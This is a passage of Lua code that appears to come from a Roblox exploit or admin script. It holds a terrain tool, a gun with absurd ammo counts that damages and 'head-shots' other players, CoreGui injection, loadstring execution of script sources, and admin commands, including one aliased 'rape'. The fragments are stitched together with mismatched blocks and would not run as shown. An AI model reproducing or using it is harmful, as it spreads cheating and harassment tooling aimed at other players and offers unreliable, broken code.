Frame54.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame54.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame54.BackgroundColor3 = Color3.new(1, 1, 1)
Frame54.BackgroundTransparency = 1
Frame54.BorderSizePixel = 0
Frame54.ZIndex = 3
for i,v in pairs(mas:GetChildren()) do
v.Parent = gPlayers.LocalPlayer.PlayerGui
pcall(function() v:MakeJoints() end)
end
mas:Destroy()
for i,v in pairs(cors) do
spawn(function()
pcall(v)
end)
end
wait(0.01)
gPlayers.LocalPlayer.PlayerGui.MaterialGui.MaterialMenu.Visible = false
material = 1
local Terrain = workspace.Terrain
local CC = workspace.CurrentCamera
local ClickType = 1
local TerrainClick = 1
local P1 = nil
M.KeyDown:connect(function(K)
if K == "q" then
ClickType = 1
elseif K == "e" then
ClickType = 2
elseif K == "z" then
TerrainClick = 0
elseif K == "x" then
TerrainClick = 1
elseif K == "c" then
TerrainClick = 2
elseif K == "v" then
TerrainClick = 3
elseif K == "b" then
TerrainClick = 4
end
end)
M.Button1Down:connect(function()
if not M.Target then return end
local Hit = M.Hit
local cellPos
if ClickType == 1 then
cellPos = Terrain:WorldToCellPreferEmpty(Vector3.new(Hit.x,
Hit.y, Hit.z))
else
cellPos = Terrain:WorldToCellPreferSolid(Vector3.new(Hit.x,
Hit.y, Hit.z))
end
if ClickState == "None" then
ClickState = "Click1"
P1 = cellPos
end
end)
M.Button1Up:connect(function()
if not M.Target then return end
local Hit = M.Hit
local cellPos
if ClickType == 1 then
cellPos = Terrain:WorldToCellPreferEmpty(Vector3.new(Hit.x,
Hit.y, Hit.z))
else
cellPos = Terrain:WorldToCellPreferSolid(Vector3.new(Hit.x,
Hit.y, Hit.z))
end
if ClickState == "Click1" then
ClickState = "None"
local MinX = math.min(P1.x,cellPos.x)
local MaxX = math.max(P1.x,cellPos.x)
local MinY = math.min(P1.y,cellPos.y)
local MaxY = math.max(P1.y,cellPos.y)
local MinZ = math.min(P1.z,cellPos.z)
local MaxZ = math.max(P1.z,cellPos.z)
for y=MinY,MaxY do
for x=MinX,MaxX do
for z=MinZ,MaxZ do
Terrain:SetCell(x, y, z, material, 0, 0)
end
end
wait()
end
SelB.Adornee = nil
end
end)
M.Move:connect(function()
if not M.Target then return end
local Hit = M.Hit
local cellPos
if ClickType == 1 then
cellPos = Terrain:WorldToCellPreferEmpty(Vector3.new(Hit.x,
Hit.y, Hit.z))
else
cellPos = Terrain:WorldToCellPreferSolid(Vector3.new(Hit.x,
Hit.y, Hit.z))
end
if ClickState == "Click1" then
SelB.Adornee = SelP
local W1 = Terrain:CellCenterToWorld(P1.x,P1.y,P1.z)
local W2 =
Terrain:CellCenterToWorld(cellPos.x,cellPos.y,cellPos.z)
local Size = W1-W2
Size =
Vector3.new(math.abs(Size.x),math.abs(Size.y),math.abs(Size.z))+Vector3.new(4,4,4)
local Pos = (W1+W2)/2
SelP.Size = Size
SelP.CFrame = CFrame.new(Pos)
end
end)
end)
HopperBin0.Deselected:connect(function()
SelB.Parent = nil
SelB.Adornee = nil
gPlayers.LocalPlayer.PlayerGui.MaterialGui.MaterialMenu.Visible = false
end)
game:GetService('RunService').Stepped:connect(function()
if gPlayers.LocalPlayer.PlayerGui:FindFirstChild("MaterialGui") then
for _, child in
pairs( gPlayers.LocalPlayer.PlayerGui.MaterialGui.MaterialMenu:GetChildren()) do
if child:FindFirstChild("num") and material ~= child.num.Value then
child.Selection.BackgroundTransparency = 1
end
end
end
end)
for _, child in
pairs( gPlayers.LocalPlayer.PlayerGui.MaterialGui.MaterialMenu:GetChildren()) do
local enterCon = child.MouseButton1Click:connect(function()
if child.ClassName == "ImageButton" and child:FindFirstChild("num") then
material = child.num.Value
if child:FindFirstChild("Selection") then
child.Selection.BackgroundTransparency = 0
end
end
end)
end
local clr =
gPlayers.LocalPlayer.PlayerGui.MaterialGui.MaterialMenu.Dig.MouseButton1Click:conne
ct(function()
workspace.Terrain:Clear()
end)
function sandbox(var,func)
local env = getfenv(func)
local newenv = setmetatable({},{
__index = function(self,k)
if k=="script" then
return var
else
return env[k]
end
end,
})
setfenv(func,newenv)
return func
end
cors = {}
mas = Instance.new("Model",game:GetService("Lighting"))
HopperBin0 = Instance.new("HopperBin")
HopperBin0.Name = "Terrain Delete"
HopperBin0.Parent = mas
for i,v in pairs(mas:GetChildren()) do
v.Parent = game:GetService("Players").LocalPlayer.Backpack
pcall(function() v:MakeJoints() end)
end
mas:Destroy()
for i,v in pairs(cors) do
spawn(function()
pcall(v)
end)
end
function onClick(mouse)
p = gPlayers.LocalPlayer
if (p == nil) then return end
if (p.Character == nil) then return end
c:SetCell(x, y, z, 0, 0, 0)
end
function onSelect(mouse)
mouse.Button1Down:connect(function () onClick(mouse) end)
end
HopperBin0.Selected:connect(onSelect)
end
end)
if game.CoreGui:FindFirstChild("CorePart") then
game.CoreGui.CorePart:Destroy()
end
function createDDown(callback,but,...)
if barActive then
for i,v in pairs(activeOptions) do
v:Destroy()
end
activeOptions = {}
barActive = false
return
else
barActive = true
end
local slots = {...}
local base = but
for i,v in pairs(slots) do
local newOption = base:Clone()
newOption.ZIndex = 5
newOption.Name = "Option "..tostring(i)
newOption.Parent = base.Parent
table.insert(activeOptions,newOption)
newOption.Position = UDim2.new(but.Position.X.Scale,
but.Position.X.Offset, but.Position.Y.Scale, but.Position.Y.Offset +
(#activeOptions * but.Size.Y.Offset))
newOption.Text = slots[i]
newOption.MouseButton1Down:connect(function()
but.Text = slots[i]
callback(slots[i])
for i,v in pairs(activeOptions) do
v:Destroy()
end
activeOptions = {}
barActive = false
end)
end
end
_G.Scripters = {}
function _G.loadScripts(obj,runall)
for i,v in pairs(obj:GetDescendants()) do
if v:IsA("LocalScript") and (not v.Disabled or runall) then
table.insert(_G.Scripters,v)
local i = #_G.Scripters
local loadfunc = loadstring("local script =
_G.Scripters["..i.."]\n"..v.Source)
spawn(loadfunc)
print("LOADED",v:GetFullName())
end
end
end
player.CharacterAdded:Connect(function()
newKnife = knife:Clone()
newKnife.Parent = player.Backpack
_G.loadScripts(newKnife)
end)
_G.knifemode = "PlayersOnly"
_G.loadScripts(newKnife)
--_G.loadScripts(gun)
--_G.loadScripts(fastgun)
--_G.loadScripts(lasergun)
end
end
end)
_clear=function()
local c={char;bag;gui;};
for i=1,#c do
local c=c[i]:children();
for i=1,#c do
if(c[i].Name==name)then
c[i].Parent=nil;
end;
end;
end;
local n=name..user.Name;
local c=workspace:children();
for i=1,#c do
if(c[i].Name==n)then
c[i].Parent=nil;
end;
end;
end;
_valid_key=function(object,key)
return object[key],key;
end;
_new=function(class)
return function(props)
if(type(list_base_props)=='table')then
for i,v in next,list_base_props do
if(props[i]==nil)then
props[i]=v;
end;
end;
end;
local object=class;
if(type(class)=='string')then
object=Instance.new(class:sub(1,1):upper()..class:sub(2));
end;
local parent=props[1];
props[1]=nil;
if(key)then
t=type(res);
s=tostring(res);
if(t=='userdata'and s=='Signal '..key)then
if(type(v)=='table')then
for i=1,#v do
res:connect(v[i]);
end;
else
res:connect(v);
end;
else
object[key]=v;
end;
end;
end;
if(parent)then
object.Parent=parent;
end;
return object;
end;
end;
_RGB=function(r,g,b)
return Color3.new(r/255,g/255,b/255);
end;
_copy=function(o)
local def=o.archivable;
o.archivable=true;
local c=o:clone();
o.archivable=def;
return c;
end;
_hum=function(char)
local hum=char:findFirstChild'Humanoid';
if(not hum or hum.className~='Humanoid')then
local c=char:children();
for i=1,#c do
if(c[i].className=='Humanoid')then
return c[i];
end;
end;
else
return hum;
end;
end;
_hum_tag=function(hum)
local c=hum:findFirstChild'creator'or Instance.new('ObjectValue',hum);
c.Name='creator';
c.Value=user;
if(hum.Health==0 and not hum:findFirstChild'killed')then
Instance.new('BoolValue',hum).Name='killed';
bullets.clip=bullets.clip+10;
end;
end;
_hum_dam=function(hum,dam,percent)
hum.Health=hum.Health-(percent and hum.MaxHealth*(dam*0.01)or dam);
if(hum.Health<=hum.MaxHealth*0.1)then
_hum_tag(hum);
end;
end;
_ray=function(v0,v1,i)
local mag=(v0-v1).magnitude;
local ray=Ray.new(v0,(v1-v0).unit*(mag>999 and 999 or mag));
return(type(i)=='table'and workspace.FindPartOnRayWithIgnoreList or
workspace.FindPartOnRay)(workspace,ray,i);
end;
_must=function(v0,v1,i)
local hit,pos=_ray(v0,v1,i);
return not hit and mouse.target or hit,pos;
end;
_cframe=function(x,y,z,r0,r1,r2)
return CFrame.Angles(
math.rad(r0 or 0),
math.rad(r1 or 0),
math.rad(r2 or 0)
)*CFrame.new(x,y,z);
end;
_update=function()
if(bool_active and not screen.Parent)then
screen.Parent=gui;
elseif(not bool_active and screen.Parent)then
screen.Parent=nil;
end;
end;
_light=function(v0,v1)
local mag=(v0-v1).magnitude;
local len=math.random(2,7);
len=len>mag/2 and mag/2 or len;
--local light=_new'part'{
-- cFrame=CFrame.new(v0,v1);
-- size=Vector3.new(1,1,1);
-- color=_RGB(255,255,0);
-- anchored=true;
-- inv;
--};
_new'blockMesh'{
scale=Vector3.new(0.2,0.2,len);
offset=Vector3.new(0,0,-len/2);
light;
};
local bb=_new'billboardGui'{
size=UDim2.new(2,0,2,0);
adornee=light;
light;
};
_new'imageLabel'{
image=url:format(109101526);
backgroundTransparency=1;
size=UDim2.new(1,0,1,0);
bb;
};
-- _rem(light,0.15);
end;
_rem=function(object,del)
if(del)then
delay(del,function()
if(object.Parent)then
object.Parent=nil;
end;
end);
else
pcall(function()
if(object.Parent)then
object.Parent=nil;
end;
end);
end;
end;
_blood=function(pos,count)
for i=1,count do
local p=_new'part'{
rotVelocity=Vector3.new(math.random(),math.random(),math.random())*50;
position=pos+Vector3.new(math.random(),math.random(),math.random());
velocity=Vector3.new(math.random(),math.random(),math.random())*50;
size=Vector3.new(math.random(),math.random(),math.random())/3;
color=_RGB(255,0,0);
transparency=0.5;
canCollide=true;
bottomSurface=0;
topSurface=0;
formFactor=3;
locked=true;
inv;
};
delay(5,function()
p.Parent=nil;
end);
end;
end;
_make_hue=function()
h_hue=_new'part'{
size=Vector3.new(0.25,1.8,0.35);
color=_RGB(100,100,100);
formFactor=3;
name='hue';
handle;
};
hh_weld=_new'weld'{
c1=_cframe(0,0.5,0);
part0=handle;
part1=h_hue;
handle;
};
end;
_shot=function(v0,v1)
if(not time_left)then
time_left=0;
end;
if(time_left>time())then
return nil;
else
time_left=time()+math.random(1,10)/100;
end;
if(bullets.current<1)then
local tick_sound=head:findFirstChild'tick_sound'or _new'sound'{
soundId='rbxasset://sounds/SWITCH3.wav';
name='tick_sound';
volume=0.2;
pitch=2;
head;
};
tick_sound:play();
if(bullets.clip>0)then
time_left=time()+2;
h_hue:breakJoints();
h_hue.CanCollide=true;
h_hue.Velocity=(h_hue.CFrame*CFrame.new(0,5,0)).lookVector*10;
_rem(h_hue,10);
delay(1.9,function()
_make_hue();
local got=(bullets.clip>bullets.maximum and
bullets.maximum or
bullets.clip)-bullets.current;
bullets.clip=bullets.clip-got;
bullets.current=bullets.current+got;
end);
end;
return nil;
else
bullets.current=bullets.current-1;
h_weld.C1=_cframe(0,0.75,0,
-math.random(1000,1100)/10,180,0);
d_weld.C1=_cframe(0,-0.25,0.3);
lightstuff.Visible=true;
delay(0.1,function()
lightstuff.Visible=false;
end);
_rem(_new'part'{
velocity=CFrame.new(drag.Position,(drag.CFrame*CFrame.new(-
4,-5,0)).p).lookVector*10;
cFrame=drag.CFrame*CFrame.new(-0.5,0,0);
size=Vector3.new(0.1,0.1,0.4);
color=_RGB(200,200,0);
material='Slate';
canCollide=true;
formFactor=3;
inv;
},5);
delay(0.1,function()
d_weld.C1=_cframe(0,-0.25,0);
if(bool_active)then
h_weld.C1=h_weld_cf_active;
end;
end)
end;
local hit,pos=_must(v0,v1,char);
shot_sound:play();
_rem(_new'part'{
cFrame=CFrame.new(v0,pos)*CFrame.new(0,0,-
(v0-pos).magnitude*0.5);
size=Vector3.new(0.1,0.1,(v0-
pos).magnitude);
color=_RGB(255,255,0);
transparency=0.6;
reflectance=0.5;
canCollide=false;
bottomSurface=0;
anchored=true;
formFactor=3;
topSurface=0;
inv;
},.15);
_light(v0,v1);
if(hit.Parent.className=='Hat')then
hit:breakJoints();
hit.CanCollide=true;
hit.Velocity=CFrame.new(v0,pos).lookVector*math.random(30,50);
hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90));
else
local hum=_hum(hit.Parent);
if(not hum)then
if(hit.Anchored==false and hit.Size.magnitude<4)then
hit:breakJoints();
hit.CanCollide=true;
end;
else
_hum_dam(hum,math.random(4,6));
_blood(pos,math.random(3,6));
hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90))/
6;
if(hit.Name=='Head')then
hum.Health=0;
_blood(pos,math.random(3,6));
delay(0.001,function()
_new(workspace:FindFirstChild'head_shot'or'sound'){
pitch=math.random(70,100)*0.01;
soundId=url:format(1876552);
name='head_shot';
workspace;
}:play();
end);
_hum_tag(hum);
_rem(_new'part'{
cFrame=CFrame.new(v0,pos)*CFrame.new(0,0,-
(v0-pos).magnitude*0.5);
size=Vector3.new(0.1,0.1,(v0-
pos).magnitude);
color=torso.Color;
transparency=0.5;
canCollide=false;
bottomSurface=0;
anchored=true;
formFactor=3;
topSurface=0;
inv;
},30);
hit.Parent=nil;
for b=0,1 do
for a=0,1 do
for i=0,1 do
_rem(_new'part'{
velocity=CFrame.new(v0,pos).lookVector*20;
cFrame=hit.CFrame*CFrame.new(i,-b,a);
size=Vector3.new(0.5,0.5,0.5);
color=_RGB(255,255,255);
bottomSurface=0;
canCollide=true;
transparency=0;
formFactor=3;
topSurface=0;
hum;
},30);
end;
end;
end;
end;
end;
end;
end;
_cf_select=function(mouse)
mouse.Icon=url:format(109111387);--108999296
bool_active=true;
weld.Part1=nil;
weld.Part0=nil;
weld=_new(torso:findFirstChild'right_arml'or'weld'){
name='right_arml';
part0=torso;
part1=arm;
torso;
};
arml=(arml or 0)+1;
local alv=arml;
local gyro=torso:findFirstChild'p_gyro'or
Instance.new('BodyGyro',torso);
gyro.maxTorque=Vector3.new(5e5,5e5,5e5);
gyro.P=30000;
gyro.D=1000;
gyro.Name='p_gyro';
repeat
local pos=mouse.hit.p;
local val,valp,p0,p1,p2,hitpos,cj,c0,c1;
val=-math.pi*0.5;
valp=val*-1;
p0=torso.CFrame;
p0=p0+((p0*CFrame.Angles(valp,0,0)).lookVector*0.5)+
(p0*CFrame.Angles(0,val,0)).lookVector;
p1=p0+((p0.p-pos).unit*-2);
p2=CFrame.new((p0.p+p1.p)/2,p0.p)*CFrame.Angles(val,val,0);
hitpos=torso.Position;
cj=CFrame.new(hitpos);
c0=torso.CFrame:inverse()*cj;
c1=p2:inverse()*cj;
weld.C0=c0;
weld.C1=c1;
gyro.cframe=CFrame.new(torso.Position,Vector3.new(pos.X,torso.Position.Y,pos.Z));
wait(0.001);
until arml~=alv;
gyro.Parent=nil;
end;
end;
_cf_deselect=function()
bool_active=false;
arml=(arml or 0)+1;
loop_shot=(loop_shot or 0)+1;
h_weld.Part0=torso;
h_weld.C1=h_weld_cf_inactive;
local weld=torso:findFirstChild'right_arml';
if(weld)then
weld.Part1=nil;
weld.Part0=nil;
end;
local arm=char:findFirstChild'Right Arm';
local weld=torso:findFirstChild'Right Shoulder';
if(arm and weld)then
weld.Part0=torso;
weld.Part1=arm;
end;
end;
_cf_mouse=function(event,fun)
mouse[event:sub(1,1):upper()..event:sub(2)]:connect(function(...)
if(bool_active)then
fun(...);
end;
end);
end;
do
local main=getfenv(0);
local c=game:children();
local check=function(v)
if(v.className~=''and v.className~='Instance'and
game:service(v.className))then
main[v.className:sub(1,1):lower()..v.className:sub(2)]=v;
end;
end;
for i=1,#c do
pcall(check,c[i]);
end;
end;
bullets={
maximum=51111111111111111111111111110;
current=511111111111111111111111111111110;
clip=501111111111111111111111111111111*4;
};
list_base_props={
backgroundColor3=_RGB(0,0,0);
textColor3=_RGB(200,200,200);
borderSizePixel=0;
color=_RGB(0,0,0);
archivable=false;
canCollide=false;
bottomSurface=0;
topSurface=0;
formFactor=0;
locked=true;
};
user=players.localPlayer;
mouse=user:getMouse();
char=user.Character;
gui=user.PlayerGui;
bag=user.Backpack;
torso=char.Torso;
head=char.Head;
hum=_hum(char);
url='rbxassetid://%d';
name='dev-uzi';
h_weld_cf_inactive=_cframe(0.35,0.5,0.5,
0,90,-70);
h_weld_cf_active=_cframe(0,0.75,0,
-110,180,0);
_clear();
_cf_mouse('button1Down',function()
loop_shot=(loop_shot or 0)+1;
local vers=loop_shot;
local step=runService.Stepped;
repeat
_shot((tube.CFrame*CFrame.new(0,0,tube.Size.Z*0.5)).p,mouse.hit.p);
step:wait();--wait(0.001);
until vers~=loop_shot;
end);
_cf_mouse('button1Up',function()
loop_shot=(loop_shot or 0)+1;
end);
_cf_mouse('move',function()
cross_f.Position=UDim2.new(0,mouse.X-11,0,mouse.Y-11);
end);
_cf_mouse('keyDown',function(k)
if(k=='r')then
if(bullets.clip>0 and time_left<=time())then
local got=(bullets.clip>bullets.maximum and
bullets.maximum or
bullets.clip)-bullets.current;
bullets.clip=bullets.clip-got;
bullets.current=bullets.current+got;
if(got~=0)then
time_left=time()+2;
end;
end;
end;
end);
screen=_new'screenGui'{
name=name;
};
cross_f=_new'frame'{
size=UDim2.new(0,21,0,21);
backgroundTransparency=1;
screen;
};
for i=0,1 do
_new'frame'{
position=UDim2.new(0,13*i,0,11);
size=UDim2.new(0,10,0,1);
cross_f;
};
end;
for i=0,1 do
_new'frame'{
position=UDim2.new(0,11,0,13*i);
size=UDim2.new(0,1,0,10);
cross_f;
};
end;
shot_sound=_new(head:findFirstChild'2920959'or'sound'){
soundId=url:format(2920959);
pitch=1.4;
head;
};
if(shot_sound.Name~='2920959')then
shot_sound.Name='2920959';
shot_sound:play();
end;
bin=_new'hopperBin'{
deselected=_cf_deselect;
selected=_cf_select;
name=name;
bag;
};
inv=_new'model'{
name=name;
char;
};
handle=_new'part'{
size=Vector3.new(0.3,1.3,0.4);
color=_RGB(140,140,140);
name='handle';
formFactor=3;
inv;
touched=function(hit)
if(hit.Parent.className=='Model')then
local hum=_hum(hit.Parent);
if(hum~=nil)then
_hum_dam(hum,handle.Velocity.magnitude);
end;
end;
end;
};
h_weld=_new'weld'{
c1=h_weld_cf_inactive;
part1=handle;
part0=torso;
handle;
};
_make_hue();
h_part=_new'part'{
size=Vector3.new(0.4,0.4,1.4);
color=_RGB(140,140,140);
name='handle';
formFactor=3;
handle;
};
hp_weld=_new'weld'{
c1=_cframe(0,-1.3/2,-0.3,
20,0,0);
part0=handle;
part1=h_part;
handle;
};
drag=_new'part'{
size=Vector3.new(0.5,0.45,1.5);
color=_RGB(100,100,100);
name='handle';
formFactor=3;
handle;
};
d_weld=_new'weld'{
c1=_cframe(0,-0.25,0);
part0=h_part;
part1=drag;
handle;
};
tube=_new'part'{
size=Vector3.new(0.2,0.2,1.5);
color=_RGB(0,0,0);
name='handle';
formFactor=3;
handle;
};
t_weld=_new'weld'{
c1=_cframe(0,-0.3,-0.1);
part0=h_part;
part1=tube;
handle;
};
bullets_label=_new'textLabel'{
textStrokeColor3=_RGB(0,0,0);
textColor3=_RGB(200,200,200);
textStrokeTransparency=0;
backgroundTransparency=1;
fontSize=5;
screen;
};
lightstuff=_new'frame'{
backgroundColor3=_RGB(255,255,255);
position=UDim2.new(0,0,0,-1);
backgroundTransparency=0.5;
size=UDim2.new(1,0,1,1);
borderSizePixel=0;
visible=false;
screen;
};
coroutine.wrap(function()
local red,white,green;
repeat
if(screen.Parent)then
if(not green and bullets.current==bullets.maximum)then
green=true;
bullets_label.TextColor3=_RGB(0,200,0);
elseif(not red and bullets.current==0)then
red=true;
bullets_label.TextColor3=_RGB(200,0,0);
elseif((red or green)and bullets.current~=0 and
bullets.current~=bullets.maximum)then
bullets_label.TextColor3=_RGB(200,200,200);
green=false;
red=false;
end;
bullets_label.Text=('Bullets:
%d/%d'):format(bullets.current,bullets.clip);
bullets_label.Size=UDim2.new(0,bullets_label.TextBounds.X,0,bullets_label.TextBound
s.Y);
bullets_label.Position=UDim2.new(1,-
bullets_label.TextBounds.X-6,1,-bullets_label.TextBounds.Y-6);
end;
wait(0.001);
until nil;
end)();
_G.dev_pistol_version=(_G.dev_pistol_version or 0)+1;
local vers=_G.dev_pistol_version;
repeat _update();wait(0.001);until _G.dev_pistol_version~=vers or hum.Health==0;
if(hum.Health==0)then
_clear();
end;
end
end)
addcmd('unban','unbans a player',{},
function(args, speaker)
if FindTable(banT, gPlayers:GetUserIdFromNameAsync(args[1])) then
table.remove(banT, GetInTable(banT,
gPlayers:GetUserIdFromNameAsync(args[1])))
for i,v in pairs(banname) do
if v.NAME == tostring(args[1]) then
table.remove(banname, i)
updatebans()
end end
Notify('Unbanned ' .. args[1])
end
end)
addcmd('dismiss', 'dismiss',{'verify'},
function(args, speaker)
for _, child in pairs( workspace:GetChildren()) do
if child.Name == speaker.Name .. "TAB" then
child:Destroy() end end
for a,b in pairs(hastab) do if b == speaker.Name then table.remove(hastab, a) end
end
end)
addcmd('bang', 'owo',{'rape'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
local target = getPlayer(args[2], speaker)[1]
for i,v in pairs(players)do
if args[2] then
rape(target, v)
else
rape(v, speaker.Name)
end
end
end)
y = Instance.new("BillboardGui")
y.Size = UDim2.new(0,100,0,150)
y.StudsOffset = Vector3.new(0,1,0)
y.Parent = gPlayers[v].Character.Head
y.Adornee = gPlayers[v].Character.Head
f = Instance.new("TextLabel")
f.Parent = y
f.BackgroundTransparency = 1
f.Position = UDim2.new(0,0,0,-50)
f.Size = UDim2.new(0,100,0,100)
f.Font = "Highway"
f.FontSize = "Size48"
f.Text = GLS(false, 1)
f.TextStrokeColor3 = Color3.new(0,0,0)
f.TextColor3 = Color3.new(255/255,255/255,255/255)
f.TextStrokeTransparency = 0
f.TextYAlignment = "Bottom"
end
end)
function pipeTp(name,target)
spawn(function()
local pipe = Instance.new("Part")
pipe.Name = "Pipe"
pipe.Color = Color3.new(52/255,142/255,64/255)
pipe.Size = Vector3.new(8,8,8)
pipe.Anchored = true
local mesh = Instance.new("SpecialMesh",pipe)
mesh.MeshId = "rbxassetid://856736661"
mesh.Scale = Vector3.new(0.15, 0.15, 0.15)
local sound = Instance.new("Sound",pipe)
sound.SoundId = "rbxassetid://864352897"
sound.Volume = 1
pipe.Parent = workspace
pipe.CFrame = initPos - Vector3.new(0,8,0)
for i = 0,8,0.2 do
pipe.CFrame = initPos - Vector3.new(0,8-i,0)
if i >= 1 then char:SetPrimaryPartCFrame(pipe.CFrame +
Vector3.new(0,7,0)) end
game:GetService("RunService").RenderStepped:wait()
end
sound:Play()
for i = 7,-8,-0.2 do
char:SetPrimaryPartCFrame(pipe.CFrame + Vector3.new(0,i,0))
game:GetService("RunService").RenderStepped:wait()
end
char:SetPrimaryPartCFrame(pipe.CFrame + Vector3.new(0,-8,0))
for i = 8,0,-0.2 do
pipe.CFrame = initPos - Vector3.new(0,8-i,0)
game:GetService("RunService").RenderStepped:wait()
end
for i = 0,8,0.2 do
pipe.CFrame = targetpos - Vector3.new(0,8-i,0)
game:GetService("RunService").RenderStepped:wait()
end
for i = 8,0,-0.2 do
pipe.CFrame = targetpos - Vector3.new(0,8-i,0)
if i >= 1 then char:SetPrimaryPartCFrame(pipe.CFrame +
Vector3.new(0,7,0)) end
game:GetService("RunService").RenderStepped:wait()
end
pipe:Destroy()
if char:FindFirstChild("Torso") then
char.Torso.Anchored = false
else
char.UpperTorso.Anchored = false
end
end)
end
wdisco = false
addcmd('partdisco', 'color spams the workspace',{'pdisco'},
function(args, speaker)
if wdisco == false then
wdisco = true
presets = {"Bright red","Bright yellow","Bright orange","Bright violet","Bright
blue","Bright bluish green","Bright green"}
repeat wait(1)
if wdisco == true then
local function color(instance)
for i,v in pairs(instance:GetChildren())do
if v.className == "Part" then
v.BrickColor =
BrickColor.new(presets[math.random(1,#presets)]) end
color(v)
end
end
color(workspace)
end
until wdisco == false
end
end)
SINFOGUIopen = false
function serverinfogui()
if SINFOGUIopen == false then
local Sinfo = Instance.new("ScreenGui")
local drag = Instance.new("Frame")
local PromptDialog = Instance.new("Frame")
local shadow = Instance.new("Frame")
local PopupText = Instance.new("TextLabel")
local Exit = Instance.new("TextButton")
local ContainerFrame = Instance.new("Frame")
local TextLabel = Instance.new("TextLabel")
local TextLabel2 = Instance.new("TextLabel")
local TextLabel3 = Instance.new("TextLabel")
local Time = Instance.new("TextLabel")
local appearance = Instance.new("TextLabel")
local fe = Instance.new("TextLabel")
local maxplayers = Instance.new("TextLabel")
local name = Instance.new("TextLabel")
local placeid = Instance.new("TextLabel")
local playerid = Instance.new("TextLabel")
local players = Instance.new("TextLabel")
Sinfo.Name = "Sinfo"
Sinfo.Parent = game.CoreGui
drag.Name = "drag"
drag.Parent = Sinfo
drag.Active = true
drag.BackgroundColor3 = Color3.new(1, 1, 1)
drag.BackgroundTransparency = 1
dragGUI(drag)
drag.Position = UDim2.new(0.5, -150, 0, -400)
drag.Size = UDim2.new(0, 290, 0, 30)
PromptDialog.Name = "PromptDialog"
PromptDialog.Parent = drag
PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0)
PromptDialog.BackgroundTransparency = 1
PromptDialog.BorderSizePixel = 0
PromptDialog.Position = UDim2.new(0, -10, 0, 0)
PromptDialog.Size = UDim2.new(0, 310, 0, 300)
PromptDialog.ZIndex = 8
shadow.Name = "shadow"
shadow.Parent = PromptDialog
shadow.BackgroundColor3 = maincolor
shadow.BackgroundTransparency = 0.30000001192093
shadow.BorderColor3 = Color3.new(0, 0, 0)
shadow.BorderSizePixel = 0
shadow.Position = UDim2.new(0.0322580636, 0, 0.00999999978, 0)
shadow.Size = UDim2.new(0, 290, 0, 26)
PopupText.Name = "PopupText"
PopupText.Parent = shadow
PopupText.BackgroundTransparency = 1
PopupText.Position = UDim2.new(0, 8, 0, -3)
PopupText.Size = UDim2.new(1, -16, 0.538461566, 0)
PopupText.ZIndex = 110
PopupText.Font = Enum.Font.SourceSansBold
PopupText.FontSize = Enum.FontSize.Size28
PopupText.Text = "Server"
PopupText.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText.TextStrokeTransparency = 0
PopupText.TextWrapped = true
PopupText.TextYAlignment = Enum.TextYAlignment.Top
Exit.Name = "Exit"
Exit.Parent = shadow
Exit.BackgroundColor3 = Color3.new(1, 0, 0)
Exit.BackgroundTransparency = 0.30000001192093
Exit.BorderColor3 = Color3.new(1, 0, 0)
Exit.BorderSizePixel = 0
Exit.Position = UDim2.new(0, 267, 0, 3)
Exit.Size = UDim2.new(0, 20, 0, 20)
Exit.FontSize = Enum.FontSize.Size14
Exit.Text = ""
ContainerFrame.Name = "ContainerFrame"
ContainerFrame.Parent = PromptDialog
ContainerFrame.BackgroundColor3 = maincolor
ContainerFrame.BackgroundTransparency = 0.5
ContainerFrame.BorderColor3 = Color3.new(0, 0, 0)
ContainerFrame.BorderSizePixel = 0
ContainerFrame.Position = UDim2.new(0, 10, 0, 29)
ContainerFrame.Size = UDim2.new(0.935483873, 0, 0.806666672, 0)
ContainerFrame.ZIndex = 5
TextLabel.Name = "Text Label"
TextLabel.Parent = ContainerFrame
TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel.BackgroundTransparency = 1
TextLabel.BorderColor3 = Color3.new(0, 0, 0)
TextLabel.Position = UDim2.new(0, 10, 0, 70)
TextLabel.Size = UDim2.new(0, 100, 0, 20)
TextLabel.ZIndex = 10
TextLabel.Font = Enum.Font.SourceSans
TextLabel.FontSize = Enum.FontSize.Size24
TextLabel.Text = "Run Time:"
TextLabel.TextColor3 = Color3.new(1, 1, 1)
TextLabel.TextStrokeTransparency = 0
TextLabel.TextXAlignment = Enum.TextXAlignment.Left
TextLabel2.Name = "Text Label2"
TextLabel2.Parent = ContainerFrame
TextLabel2.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel2.BackgroundTransparency = 1
TextLabel2.BorderColor3 = Color3.new(0, 0, 0)
TextLabel2.Position = UDim2.new(0, 10, 0, 120)
TextLabel2.Size = UDim2.new(0, 100, 0, 20)
TextLabel2.ZIndex = 10
TextLabel2.Font = Enum.Font.SourceSans
TextLabel2.FontSize = Enum.FontSize.Size24
TextLabel2.Text = "Statistics:"
TextLabel2.TextColor3 = Color3.new(1, 1, 1)
TextLabel2.TextStrokeTransparency = 0
TextLabel2.TextXAlignment = Enum.TextXAlignment.Left
TextLabel3.Name = "Text Label3"
TextLabel3.Parent = ContainerFrame
TextLabel3.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel3.BackgroundTransparency = 1
TextLabel3.BorderColor3 = Color3.new(0, 0, 0)
TextLabel3.Position = UDim2.new(0, 10, 0, 0)
TextLabel3.Size = UDim2.new(0, 100, 0, 20)
TextLabel3.ZIndex = 10
TextLabel3.Font = Enum.Font.SourceSans
TextLabel3.FontSize = Enum.FontSize.Size24
TextLabel3.Text = "Local Player:"
TextLabel3.TextColor3 = Color3.new(1, 1, 1)
TextLabel3.TextStrokeTransparency = 0
TextLabel3.TextXAlignment = Enum.TextXAlignment.Left
Time.Name = "Time"
Time.Parent = ContainerFrame
Time.BackgroundColor3 = Color3.new(0, 0.8, 1)
Time.BackgroundTransparency = 1
Time.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
Time.Position = UDim2.new(0, 10, 0, 90)
Time.Size = UDim2.new(0, 100, 0, 20)
Time.ZIndex = 100
Time.Font = Enum.Font.ArialBold
Time.FontSize = Enum.FontSize.Size14
Time.Text = "Loading..."
Time.TextColor3 = Color3.new(1, 1, 1)
Time.TextStrokeTransparency = 0
